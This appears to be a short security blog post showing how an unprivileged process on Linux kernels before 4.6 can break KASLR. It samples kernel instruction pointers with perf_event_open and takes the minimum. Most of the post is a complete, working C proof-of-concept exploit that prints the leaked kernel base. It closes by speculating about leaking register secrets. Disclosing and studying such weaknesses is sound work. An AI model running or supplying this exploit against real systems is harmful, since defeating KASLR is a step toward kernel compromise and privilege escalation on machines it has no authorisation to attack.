Breaking KASLR with perf
Before Linux 4.6, the default value of
/proc/sys/kernel/perf_event_paranoid
was 1, and so any Linux process
could sample kernel addresses with perf_event_open
's
PERF_SAMPLE_IP
. So you can break KASLR by sampling the addresses and
taking the mininum.
/* -*- compile-command: "gcc -Wall perf_rip_find.c -o perf_rip_find" -*- */ #include <fcntl.h> #include <unistd.h> #include <stdio.h> #include <stdint.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <sys/syscall.h> #include <linux/perf_event.h> #include <linux/hw_breakpoint.h> #include <asm/perf_regs.h> #include <sys/utsname.h> #include <signal.h> #define PAGE_SIZE 4096 #define DATA_SIZE PAGE_SIZE #define MMAP_SIZE (PAGE_SIZE + DATA_SIZE) #define MASK 0xffffff int perf_event_open(struct perf_event_attr *attr, pid_t pid, int cpu, int group_fd, unsigned long flags) { return syscall(SYS_perf_event_open, attr, pid, cpu, group_fd, flags); } int main (int argc, char **argv) { int return_code = 0; int read_fd = -1; int fd = -1; pid_t child = 0; switch ((child = fork())) { case -1: fprintf(stderr, "fork failed: %m\n"); goto error; case 0:; struct utsname self = {0}; while (1) uname(&self); goto cleanup; default: break; } if ((fd = perf_event_open( & (struct perf_event_attr) { .type = PERF_TYPE_SOFTWARE, .config = PERF_COUNT_SW_TASK_CLOCK, .size = sizeof(struct perf_event_attr), .disabled = 1, .exclude_user = 1, .exclude_hv = 1, .sample_type = PERF_SAMPLE_IP, .sample_period = 10, .precise_ip = 1, }, child, -1, -1, 0)) < 0) { fprintf(stderr, "perf_event_open failed!\n"); goto error; } struct perf_event_mmap_page *meta_page = NULL; if ((meta_page = mmap(NULL, MMAP_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0)) == MAP_FAILED) { fprintf(stderr, "mmap failed: %m\n"); goto error; } if (ioctl(fd, PERF_EVENT_IOC_ENABLE)) { fprintf(stderr, "ioctl failed: %m\n"); goto error; } char *data_page = ((char *) meta_page) + PAGE_SIZE; size_t progress = 0; uint64_t last_head = 0; size_t num_samples = 0; uint64_t min = ~0; while (num_samples < 100) { /* is reading from the meta_page racy? no idea */ while (meta_page->data_head == last_head);; last_head = meta_page->data_head; while (progress < last_head) { struct __attribute__((packed)) sample { struct perf_event_header header; uint64_t ip; } *here = (struct sample *) (data_page + progress % DATA_SIZE); switch (here->header.type) { case PERF_RECORD_SAMPLE: num_samples++; if (here->header.size < sizeof(*here)) { fprintf(stderr, "size too small.\n"); goto error; } uint64_t prefix = here->ip & ~MASK; if (prefix < min) min = prefix; break; case PERF_RECORD_THROTTLE: case PERF_RECORD_UNTHROTTLE: case PERF_RECORD_LOST: break; default: fprintf(stderr, "unexpected event: %x\n", here->header.type); goto error; } progress += here->header.size; } /* tell the kernel we read it. */ meta_page->data_tail = last_head; } fprintf(stderr, "%016lx\n", min); goto cleanup; error: return_code = 1; cleanup: if (child) kill(child, SIGKILL); if (read_fd > 0) close(read_fd); if (fd > 0) close(fd); return return_code; }
You can also sample registers (PERF_SAMPLE_REGS_INTR
) , which
worries me, but I couldn't convince it to leak the network secret or
the urandom seed. Probably possible, though. Good luck!